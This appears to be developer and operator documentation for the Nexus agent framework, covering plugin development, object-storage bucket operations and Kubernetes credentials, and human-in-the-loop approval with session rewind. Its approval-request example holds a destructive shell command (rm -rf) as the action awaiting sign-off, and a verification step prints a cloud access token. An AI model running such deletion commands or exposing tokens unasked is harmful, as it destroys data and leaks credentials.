if result.Vetoed {
p.logger.Info("action vetoed", "reason", result.Reason)
return
}
Creating a Tool Plugin
Tool plugins register themselves and handle invocations:
func (p *Plugin) Init(ctx engine.PluginContext) error {
p.bus = ctx.Bus
p.logger = ctx.Logger
// Subscribe to tool invocations
ctx.Bus.Subscribe("tool.invoke", p.handleInvoke, engine.WithPriority(50))
return nil
}
func (p *Plugin) Ready() error {
// Register the tool
p.bus.Emit("tool.register", events.ToolDef{
Name: "my_tool",
Description: "Does something useful",
Parameters: `{"type":"object","properties":{"input":{"type":"string","description":"The input"}},"required":["input"]}`,
})
return nil
}
func (p *Plugin) handleInvoke(event engine.Event[any]) {
call, ok := event.Payload.(events.ToolCall)
if !ok || call.Name != "my_tool" {
return
}
input, _ := call.Arguments["input"].(string)
// Do something with input
result := processInput(input)
p.bus.Emit("tool.result", events.ToolResult{
ID: call.ID,
Name: call.Name,
Output: result,
TurnID: call.TurnID,
})
}
Using the Session Workspace
func (p *Plugin) Init(ctx engine.PluginContext) error {
// Get plugin-specific data directory
dataDir := ctx.DataDir // ~/.nexus/sessions/<id>/plugins/<plugin-id>/
// Or use session directly
ctx.Session.WriteFile("plugins/"+pluginID+"/state.json", data)
return nil
}
Using the Prompt Registry
func (p *Plugin) Init(ctx engine.PluginContext) error {
ctx.Prompts.Register("my-context", 50, func() string {
if p.hasContext {
return "## My Context\n" + p.contextData
}
return "" // Empty string = section omitted
})
return nil
}
Using the Model Registry
func (p *Plugin) Init(ctx engine.PluginContext) error {
// Resolve a model role
cfg, found := ctx.Models.Resolve("reasoning")
if found {
p.logger.Info("using model", "model", cfg.Model, "provider", cfg.Provider)
}
return nil
}
Registering the Plugin
Add your plugin to cmd/nexus/main.go:
import "github.com/frankbardon/nexus/plugins/mycat"
// In main():
eng.Registry.Register("nexus.mycat", mycat.New)
Then activate it in your config:
plugins:
active:
- nexus.mycat
nexus.mycat:
my_setting: "value"
max_items: 10
Testing
Use the standard Go testing framework. You can create a test EventBus for unit tests:
func TestPlugin(t *testing.T) {
bus := engine.NewEventBus()
p := New()
err := p.Init(engine.PluginContext{
Config: map[string]any{"my_setting": "test"},
Bus: bus,
Logger: slog.Default(),
})
if err != nil {
t.Fatal(err)
}
}
Conventions
- Plugin ID:
nexus.<category>.<name>(e.g.,nexus.tool.mytool) - Logging: Use the provided
slog.Logger, notfmt.Println - Error wrapping: Use
fmt.Errorf("context: %w", err) - No direct plugin-to-plugin calls: Always communicate through events
- Declare all emissions: List every event type in
Emissions()
Operating Object Storage
This is the page for running a Nexus deployment whose state lives in a bucket: what the bucket looks like, what accumulates in it, how to reclaim what is dead, what a turn costs, and what to alert on.
For getting a backend wired into a binary at all — module import, config keys, credentials, and the feature’s documented limitations — see the Object Storage guide. This page assumes that is done and something is running.
One writing host per session. Single-writer is assumed and not enforced. Nothing on this page is safe if two hosts have the same session open — see Limitations → 1.
What is in the bucket
Four key roots, all beside each other under core.object_store.prefix. They are
siblings, never nested, so a lifecycle rule written against one cannot
accidentally match another.
| Key prefix | Holds | Lifetime |
|---|---|---|
sessions/<session-id>/ | One session tree: context/, files/, metadata/, plugins/, blobs | The session’s |
sessions/<session-id>.snapshot.json | Commit marker: the generation that is durably present | The session’s |
sessions/<session-id>.manifest/manifest.json | The per-object set that generation asserts | The session’s |
plugins/<plugin-id>/store.db | App-scope plugin SQLite | Machine/deployment lifetime |
agents/<agent-id>/plugins/<plugin-id>/store.db | Agent-scope plugin SQLite | The agent’s |
eval/<run-id>/ | One eval run’s output | The run’s |
Two of those are easy to misread:
<session-id>.snapshot.jsonand<session-id>.manifest/are siblings of the session tree, not members of it. That is deliberate: hydrating the tree must not drag the commit record down with it, and a prefix match onsessions/<id>/must not return the marker. It also means the keysessions/sess-1region contains an object and a prefix — see MinIO’s inability to represent that if you run MinIO for real rather than as an emulator.- The shared roots have no session in their key at all.
plugins/andagents/outlive every session, which is exactly why they get no owner marker and no conflict detection.
Bucket lifecycle policy
Nexus deletes objects only as part of a snapshot’s committed-set prune. It has no retention policy, no expiry, and no notion of an old session — it will never delete a session because it is old, only because a newer generation of that same session no longer names the object. Retention is entirely the operator’s.
Set the lifecycle rule against the key prefixes above, not against the bucket
root, or you will expire the shared plugin stores along with the sessions. Those
have no age: plugins/<id>/store.db is rewritten in place and is as live on day
400 as on day 1. An expiry rule that matches plugins/ destroys long-term
memory, ingested corpora and every other app-scope store, silently, and the next
boot will hydrate nothing and start empty.
S3
{
"Rules": [
{
"ID": "expire-old-sessions",
"Status": "Enabled",
"Filter": { "Prefix": "prod/nexus/sessions/" },
"Expiration": { "Days": 90 },
"NoncurrentVersionExpiration": { "NoncurrentDays": 7 },
"AbortIncompleteMultipartUpload": { "DaysAfterInitiation": 1 }
},
{
"ID": "expire-eval-runs",
"Status": "Enabled",
"Filter": { "Prefix": "prod/nexus/eval/" },
"Expiration": { "Days": 30 }
}
]
}
AbortIncompleteMultipartUpload matters more here than it looks. A host killed
mid-snapshot leaves partial multipart uploads that are billable and invisible to
a normal listing; without the rule they accumulate for as long as the bucket
exists, and a deployment on ephemeral compute is killed mid-snapshot routinely.
Enabling versioning is a reasonable belt-and-braces measure, but note what it
does and does not buy: it makes an in-place overwrite recoverable manually,
object by object. It does not make
limitation 4
go away, because hydration restores the committed object set and has no idea
your bucket has versions. Set NoncurrentVersionExpiration or the noncurrent
versions become the dominant line on the bill.
GCS
lifecycle:
rule:
- action: { type: Delete }
condition:
age: 90
matchesPrefix: ["prod/nexus/sessions/"]
- action: { type: Delete }
condition:
age: 30
matchesPrefix: ["prod/nexus/eval/"]
- action: { type: AbortIncompleteMultipartUpload }
condition:
age: 1
Do not use matchesStorageClass transitions to Nearline or Coldline on
sessions/. A resumed session hydrates its whole tree eagerly, so a session
that has aged into Coldline pays early-deletion charges and retrieval cost on
every object at the moment someone resumes it — which is precisely when latency
matters most. Transition storage classes are for data you expect not to read;
a session tree is data you expect to read all at once, unpredictably.
Reclaiming orphans
An orphan is an object no live session names. Three ways they appear, with different remedies:
-
A session was abandoned rather than finished. The tree, marker and manifest are all intact and consistent; nothing will ever read them again. Age-based lifecycle expiry is the right tool, and the only one — Nexus cannot tell an abandoned session from an idle one.
-
A snapshot was interrupted after uploading and before committing. Objects exist that the committed manifest does not name. Hydration ignores them by design, so they are correctness-neutral and cost-only. They are also the only class you can reclaim precisely.
-
A session was deleted locally but not remotely. Deleting
~/.nexus/sessions/<id>on a host does not delete the bucket prefix. There is nonexus session rm --remote.
To reclaim class 2 for one session, compare the manifest against the tree:
SESSION=sess-20260901-1a2b
PREFIX=prod/nexus/sessions
# What the last successful commit asserts is present. `objects` is a sorted
# array of session-RELATIVE paths ("files/notes.md"), not full keys.
aws s3 cp "s3://$BUCKET/$PREFIX/$SESSION.manifest/manifest.json" - \
| jq -r '.objects[]' | sort > /tmp/committed.txt
# What is actually there, with the same prefix stripped so the two lists are
# comparable. Forgetting this makes every object look like an orphan.
aws s3 ls --recursive "s3://$BUCKET/$PREFIX/$SESSION/" \
| awk '{print $4}' | sed "s|^$PREFIX/$SESSION/||" | sort > /tmp/present.txt
# Present but not committed: safe to delete IF the session is not running.
comm -13 /tmp/committed.txt /tmp/present.txt
The manifest also carries generation, completed_at and key_prefix. Check
generation against the commit marker at $PREFIX/$SESSION.snapshot.json
before trusting the list: if they disagree, you are reading a manifest from a
snapshot that never committed, and its object set is not the live one.
Read the last line literally. If the session is live, that diff is not a list of orphans — it is a list of objects a snapshot has uploaded but not yet committed, and deleting them corrupts the generation in flight. Check the owner marker’s heartbeat first, or do this only against sessions whose host is provably gone.
There is no built-in command for any of this. Writing one that is safe requires answering “is this session live?” without a lock, which is the same problem single-writer enforcement has, so it is unlikely to arrive as a small feature.
Reading the cost off the log
Every snapshot logs one line at INFO. It is emitted on every turn boundary
rather than sampled, so it is a complete record and it is also the highest-volume
line the object-store code produces.
INFO object store: session snapshot session_id=… trigger=turn reason=…
sequence=12 generation=12 objects=41 bytes=1839204
objects_uploaded=4 bytes_uploaded=91232
objects_skipped=37 bytes_skipped=1747972
manifest_bytes=3812 db_bytes=1622016 db_duration=41ms
shared_objects=2 shared_bytes=204800 shared_db_duration=12ms
duration=131ms
| Field | What it answers |
|---|---|
bytes | How big the stored session is — the number that drives storage cost |
bytes_uploaded | What this turn actually transferred — the number that drives request and egress cost |
objects_uploaded | PUT request count for this turn, the unit S3 and GCS bill per-request on |
bytes_skipped | What immutable-skip saved. If this is near zero on a blob-heavy session, skip is not engaging and something is being rewritten |
db_bytes / db_duration | The VACUUM INTO snapshot of session SQLite — usually the largest single object and the largest single cost |
shared_* | The same for app- and agent-scope stores |
generation | Increases across a resume onto a different host; sequence restarts per run |
bytes_uploaded, not bytes, is the per-turn cost. Confusing the two
overestimates a busy session’s bill by orders of magnitude — a 91 MiB tree with a
few KiB of turn output reports bytes=95000000 bytes_uploaded=91232.
A rough monthly estimate, per session:
PUTs = objects_uploaded × turns_per_month
egress = bytes_uploaded × turns_per_month (usually free inbound; outbound on resume)
GETs = 2 per resume (the tree, then the manifest)
storage= bytes (steady state, if the session stays live)
The GETs = 2 line is not an approximation. Cold start is exactly two backend
round trips regardless of session size, and
pkg/engine/session_objectstore_coldstart_test.go fails if that changes.
The same numbers go out on the bus as
session.snapshot.result, which is the
better source if you have somewhere to put them — it is structured, and it
carries ok so you can distinguish a snapshot that reported numbers from one
that failed.
What to alert on
Three events, in descending order of how much they should wake someone.
session.owner.conflict — page. Two hosts believe they own one session.
There is no lock, so this is detection after the fact: state has probably
already been lost, and it will keep being lost until one of them stops. The
payload carries holder_host, holder_pid, holder_instance_id and
heartbeat_age_seconds; holder_instance_id is what distinguishes two
containers that happen to share a hostname and a PID. Treat a stale heartbeat as
weak evidence, not proof — the two clocks are not the same clock, which is why
the payload carries both the timestamp and the age.
session.storage.degraded — alert. The store stopped accepting this
session’s state. Under degrade (the default) turns keep succeeding and the
durability guarantee is simply not being met until it clears, so nothing else
will tell you. The payload carries since (when the episode opened, not when
the event fired) and consecutive_failures. Alert on the episode lasting, not on
the first event.
session.storage.recovered — the paired close. Alerting on degraded
without tracking recovered produces an alert that never resolves. An episode
that opens and never closes is the real signal.
Under failure_policy: strict the degraded episode also gates the next turn,
so a user-visible failure follows — but only on the next turn, never the one that
failed. See
limitation 2.
Worth a dashboard rather than an alert: bytes_uploaded per turn trending up
(something stopped being skippable), and duration trending up against flat
objects (the store is slowing down, not the session growing).
Kubernetes
Nothing here is required — object storage works from a bare process with ambient credentials. These are the shapes that are easy to get subtly wrong.
The stock binaries cannot use object storage.
bin/nexusandbin/nexus-brokerimport no backend, by design. Every manifest below assumes your own image, built from amainthat blank-imports a backend module. See Wiring a backend into your binary.
EKS with IRSA
apiVersion: v1
kind: ServiceAccount
metadata:
name: nexus
namespace: agents
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::111122223333:role/nexus-session-store
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: nexus
namespace: agents
spec:
replicas: 1 # see the note below — this is not a default
selector:
matchLabels: { app: nexus }
template:
metadata:
labels: { app: nexus }
spec:
serviceAccountName: nexus
containers:
- name: nexus
image: ghcr.io/example/nexus-with-s3:v0.19.0
args: ["-config", "/etc/nexus/config.yaml"]
env:
- name: AWS_REGION
value: us-east-1
# IMDSv2 only. Without this a pod on a node with IMDSv1 disabled
# falls back silently and takes far longer to fail than to succeed.
- name: AWS_EC2_METADATA_SERVICE_ENDPOINT_MODE
value: IPv4
volumeMounts:
- { name: config, mountPath: /etc/nexus, readOnly: true }
- { name: work, mountPath: /root/.nexus }
volumes:
- name: config
configMap: { name: nexus-config }
# The local working copy. emptyDir is correct: the bucket is the source
# of truth and this is scratch that hydration refills.
- name: work
emptyDir: {}
replicas: 1 is load-bearing, not a starting value. Two replicas resuming
the same session is precisely the unenforced single-writer case, and the symptom
is silent state loss rather than an error. If you need concurrency, give each
replica its own sessions — the seam is safe for many hosts writing different
sessions to one bucket, and unsafe for two writing the same one.
The IAM policy needs s3:GetObject, s3:PutObject, s3:DeleteObject and
s3:ListBucket. ListBucket is on the bucket ARN, the other three on
<bucket>/<prefix>/*; a policy that grants the object actions but not
ListBucket fails at hydration rather than at boot, which is a confusing place
to find out.
GKE with Workload Identity
apiVersion: v1
kind: ServiceAccount
metadata:
name: nexus
namespace: agents
annotations:
iam.gke.io/gcp-service-account: nexus-session-store@my-project.iam.gserviceaccount.com
Then bind it:
gcloud iam service-accounts add-iam-policy-binding \
nexus-session-store@my-project.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:my-project.svc.id.goog[agents/nexus]"
The role wanted is roles/storage.objectAdmin scoped to the bucket. objectUser
is not enough: the snapshot’s committed-set prune deletes.
The Deployment is otherwise identical to the EKS one, minus the AWS env vars.
Static credentials, where identity is not available
env:
- name: GOOGLE_APPLICATION_CREDENTIALS
value: /etc/nexus-creds/key.json
volumeMounts:
- { name: creds, mountPath: /etc/nexus-creds, readOnly: true }
volumes:
- name: creds
secret:
secretName: nexus-gcs-key
defaultMode: 0400
Prefer workload identity. A mounted key is a credential with no expiry sitting in a filesystem, and rotating it means rolling every pod.
Verifying workload identity for real
No emulator reproduces any of this. MinIO does not implement IRSA, IMDSv2 or ECS task roles; fake-gcs-server does not implement ADC, Workload Identity or WIF. Nothing in this repository exercises the credential path you will actually run on, so a green CI is no evidence at all here. This is limitation 7, and this section is how to close it yourself before you depend on it.
Run this against a real cluster, with the real image, before production:
-
Prove the identity resolves at all, separately from Nexus, so a failure has one possible cause:
kubectl -n agents run cred-probe --rm -it --restart=Never \ --overrides='{"spec":{"serviceAccountName":"nexus"}}' \ --image=amazon/aws-cli -- sts get-caller-identityThe ARN must be the assumed role, not the node instance role. Getting the node role here is the most common failure and it looks like success — the call returns 200, and the pod then has whatever the node can do, which on a permissive cluster may include the bucket. It will break the day node permissions are tightened, far from this change.
The GCP equivalent:
kubectl -n agents run cred-probe --rm -it --restart=Never \ --overrides='{"spec":{"serviceAccountName":"nexus"}}' \ --image=google/cloud-sdk:slim -- \ gcloud auth print-access-token -
Prove the boot probe passes. Both backends probe credentials at open and fail the boot rather than deferring to first write —
storage.NewClientnotably does not error on missing credentials, it returns a client that fails later. A clean boot with acore.object_storeblock therefore means the credential resolved. -
Prove a write lands. A clean boot is not enough: with no backend named, no object-store code runs at all. Drive one turn, then look for the snapshot log line and confirm the object count against the bucket:
kubectl -n agents logs deploy/nexus | grep 'session snapshot' aws s3 ls --recursive "s3://$BUCKET/prod/nexus/sessions/$SESSION/" | wc -l -
Prove a resume works, on a different pod. This is the whole feature, and it is the step that catches a bucket that is writable but not readable, a prefix mismatch between environments, and a
ListBucketpermission missing from the policy:kubectl -n agents delete pod -l app=nexus # then resume the same session id on the new pod and confirm its history -
Prove the failure mode. Remove the IAM permission and confirm you get
session.storage.degradedand your alert fires — not silence. Underdegrade, silence is exactly what an unmonitored deployment gets.
Steps 4 and 5 are the ones worth writing down the results of. They are the two that fail for environment reasons rather than code reasons, and the two nothing in CI can ever tell you about.
See also
- Object Storage — the adoption guide, and the full list of documented limitations
- Configuration Reference →
core.object_store— canonical for the keys - Sessions — the seam’s design and why it is a lifecycle interface rather than a filesystem abstraction
- Storage — app- and agent-scope stores, and why shared roots have no owner marker
- Session Broker — running instances that need a
custom binary registered under
binaries:
Human-in-the-Loop and Session Rewind
This page covers the operator surface for two related features: the
unified human-in-the-loop primitive (nexus.control.hitl) and the
journal-backed session rewind primitive.
HITL: one event, many shapes
Every interaction that needs an operator’s input — clarification questions, approvals, plan picks, memory-write sign-offs — flows through one event family:
before:hitl.requested— canonical vetoable entry point, payload is a*engine.VetoablePayloadwrapping*events.HITLRequest. Every in-tree HITL emitter callsbus.EmitVetoable("before:hitl.requested", &req)first so that pre-IO subscribers (e.g. the HITL prompt synthesizer) can mutatePromptor block the request outright. A veto resolves the request as cancelled/rejected without ever reaching IO.hitl.requested— emitted by the requesting plugin after a non-veto result onbefore:hitl.requested. Payload is a valueevents.HITLRequestcarrying prompt, mode, optional choices, default-on-deadline, and an opaqueActionReffor context. IO plugins subscribe to this form.hitl.responded— emitted by the IO plugin (or, eventually, an out-of-band channel), payload is aevents.HITLResponsecarrying the picked choice and/or freeform answer.
The ask_user tool is the LLM-facing entry point to the same
machinery. Its schema lets the model present:
mode | Required fields | Result shape |
|---|---|---|
free_text (default) | prompt | {"free_text": "..."} |
choices | prompt, choices | {"choice_id": "..."} |
both | prompt, choices | {"choice_id": "...", "free_text": "..."} (either or both) |
The result is always a JSON object — agents that previously consumed a
bare string from the old ask_user tool need a schema update.
Async response: out-of-band channels via the filesystem registry
By default the hitl plugin routes responses synchronously through the
active IO plugin (TUI, browser, Wails). For long-running sessions where
the operator is in another room, on Slack, or behind a webhook, the
plugin can additionally mirror every hitl.requested to a filesystem
registry that any external tool can answer.
Enable
plugins:
active:
- nexus.control.hitl
nexus.control.hitl:
registry:
enabled: true
dir: ~/.nexus/hitl
When enabled, the plugin:
- Persists each
hitl.requestedas<dir>/<request-id>.request.yamlbefore blocking on a response. - Watches
<dir>(fsnotify) for files matching<request-id>.response.yaml. - On match, parses the response YAML, emits the typed
hitl.respondedon the bus, and deletes both files so the directory does not accumulate.
The synchronous IO-driven path stays — IO plugins continue to emit
hitl.responded directly. The fsnotify watcher is an additional source.
First response wins; later responses for the same request are no-ops
because the pending channel is already drained.
CLI
# List pending requests in the registry directory.
nexus hitl list
# Respond with a multi-choice answer.
nexus hitl respond --choice allow <request-id>
# Respond with freeform text (free_text or both modes).
nexus hitl respond --free-text "trim batch to 50" <request-id>
# Combine: a choice plus an edited payload from a JSON or YAML file.
nexus hitl respond --choice edit --edit ./override.json <request-id>
# Cancel a pending request with an operator reason.
nexus hitl cancel --reason "operator override" <request-id>
# Boolean shorthands (canonical "allow" / "reject" choice IDs).
nexus approve <request-id>
nexus reject <request-id>
Each command resolves the registry directory from the same
registry.dir value the running engine uses, writes the response
YAML there, and exits. The engine’s fsnotify watcher picks it up on
the next event tick.
If registry.enabled is false (or the plugin is unconfigured), every
CLI command exits non-zero with a clear “registry disabled in config”
error so a misconfigured operator workflow fails loudly rather than
silently producing orphaned files.
Wire format
Request file (<id>.request.yaml) — written by the plugin:
request_id: hitl-turn-3-call-7
session_id: 2026-05-03-001
turn_id: turn-3
requester_plugin: nexus.control.hitl
action_kind: tool.invoke
action_ref:
tool: shell
args:
command: rm -rf /tmp/junk
mode: choices
choices:
- id: allow
label: Approve
kind: allow
- id: reject
label: Reject
kind: reject
default_choice_id: reject
prompt: "Run shell: rm -rf /tmp/junk?"
deadline: 2026-05-03T15:30:00Z
created_at: 2026-05-03T15:25:00Z
Response file (<id>.response.yaml) — written by the CLI, webhook, etc:
request_id: hitl-turn-3-call-7
choice_id: allow
free_text: ""
Atomic same-directory rename keeps fsnotify from observing partial files. Webhook receivers should match the same shape.
Follow-ups
- An HTTP endpoint that lets a Slack / Discord / ntfy callback POST a response directly (instead of writing to disk) is the next iteration of this surface. Until then, webhook handlers can write a response YAML to the registry directory.
- Windows file-watcher semantics are untested for this path; the
underlying
fsnotify/fsnotifylibrary handles macOS and Linux natively.
Session rewind: archive, truncate, replay forward
The journal already records every event. Rewind is the offline operation that:
- Moves the live journal (
<sessions.root>/<id>/journal/) into a timestamped archive directory underjournal/archive/. - Writes a truncated copy as the new live journal, ending at a chosen
seqinclusive. - Leaves the session in a state where the next boot replays the truncated prefix, then resumes live execution.
The rewind is reversible: the archive is preserved verbatim, and
nexus session restore swaps it back in (rotating the current live
journal to its own archive first).
CLI
# Inspect — print the journal as a timeline (seq, ts, type).
nexus session inspect <session-id> [--limit=100]
# Rewind — archive current journal, keep events seq <= 42.
nexus session rewind --to-seq=42 --yes <session-id>
# List archives for a session.
nexus session archives <session-id>
# Restore a previous archive (the current live journal is itself archived first).
nexus session restore --from-archive=20260503T141500Z --yes <session-id>
--yes is required for rewind and restore because both rewrite the
on-disk journal.
Session lock
A running engine writes <sessions.root>/<id>/session.lock on Boot
(JSON: {pid, started_at, transport}) and removes it on Stop.
rewind and restore refuse to operate when the lock is present and
its PID is alive on the host:
session is already running, pid=4242 — use a different session ID or stop the running process
A stale lock — PID is gone — is treated as absent. The next Boot
overwrites it with a warning, and rewind/restore proceed without
complaint.
For the rare case where the lock is held by a wedged process that
cannot be killed cleanly, both subcommands accept --force:
nexus session rewind --to-seq=42 --yes --force <session-id>
nexus session restore --from-archive=20260503T141500Z --yes --force <session-id>
--force prints a warning to stderr. Concurrent writes against a
journal being rewound produce undefined state, so use this flag only
when you are certain the holder of the lock is not actually writing.
Liveness probing currently works on Linux and macOS. On other
platforms (Windows in particular), every lock is treated as live —
operators must use --force to recover. This is deliberate: silently
overwriting a real run’s lock is worse than asking the operator to
opt in.
Desktop UI
The reference Wails desktop app (cmd/desktop/) exposes the same
primitives as a side drawer:
-
HITL approval card — Whenever any agent emits
hitl.requested, the desktop renders a centered modal with the prompt plus the appropriate input controls:mode: free_textshows a textarea + Submit button.mode: choicesshows a vertical list of clickable choice buttons, one perchoices[]entry.mode: bothshows both — choice buttons up top, textarea below. Submitting routes the response back through the agent’s bus as ahitl.respondedevent withrequest_id, optionalchoice_id, and optionalfree_text.
-
Session timeline drawer — Each session row in the left-hand Sessions panel has a clock-rotate icon. Clicking it slides in a right-side drawer with two tabs:
- Events — the journal as a scrollable list (seq, time, event type, side-effect / vetoed badges). Clicking a row toggles an inline payload preview. Hovering reveals a “rewind to here” button.
- Archives — every rewind snapshot for the session, with a Restore button per row. Restoring rotates the current live journal to its own archive, then swaps the chosen one in.
Both the rewind and restore actions show a confirmation modal first (“This will archive the live journal and truncate to seq N” / “This will rotate the live journal and replace it with archive X”). Success and error outcomes are surfaced as toasts in the bottom-right corner.
The desktop bindings (pkg/desktop/Shell) wrap the same engine
primitives (engine.RewindSession, engine.RestoreSession,
engine.ListSessionArchives) as the CLI, plus a lightweight
InspectSession / GetSessionEvent pair for the timeline list. The
shell refuses to rewind or restore the agent’s currently running
session — switch to a different session first or stop the agent.
When to use it
- Recovering from a bad turn. The agent took a wrong path on turn 12; rewind to the seq just before turn 12 started, edit the preceding event payload (or the system prompt) on disk, and let the next boot replay forward.
- Investigating a regression. Truncate to the seq before a failure and re-run with a different model or config snapshot. Archive preserves the original.
- Pruning sensitive data. Rewind past a journaled secret that should never have been logged (the archive holds it; delete the archive directory if even that is too sensitive).
Limitations (foundation PR)
- An HTTP endpoint for direct webhook callbacks (Slack, Discord, ntfy) is not yet wired. The filesystem registry described above is the current async response path; webhook handlers can drop response YAMLs into the registry directory.
- Multi-operator RBAC: any process with write access to the registry directory can answer requests. Hardening (per-operator API keys, audit log) is a follow-up.
- Windows fsnotify semantics for the registry are untested; macOS and
Linux are covered by the underlying
fsnotify/fsnotifylibrary. - The prompt-synthesizer capability is reserved in the event payload but not yet implemented; literal prompts are the only rendered shape.
- Approval-policy gate (
gates/approval_policy/) and per-pluginrequire_approvalconfigs (memory longterm/vector/compaction) are not yet shipped; today, only theask_usertool emitshitl.requested.
These follow-ups are tracked off this PR.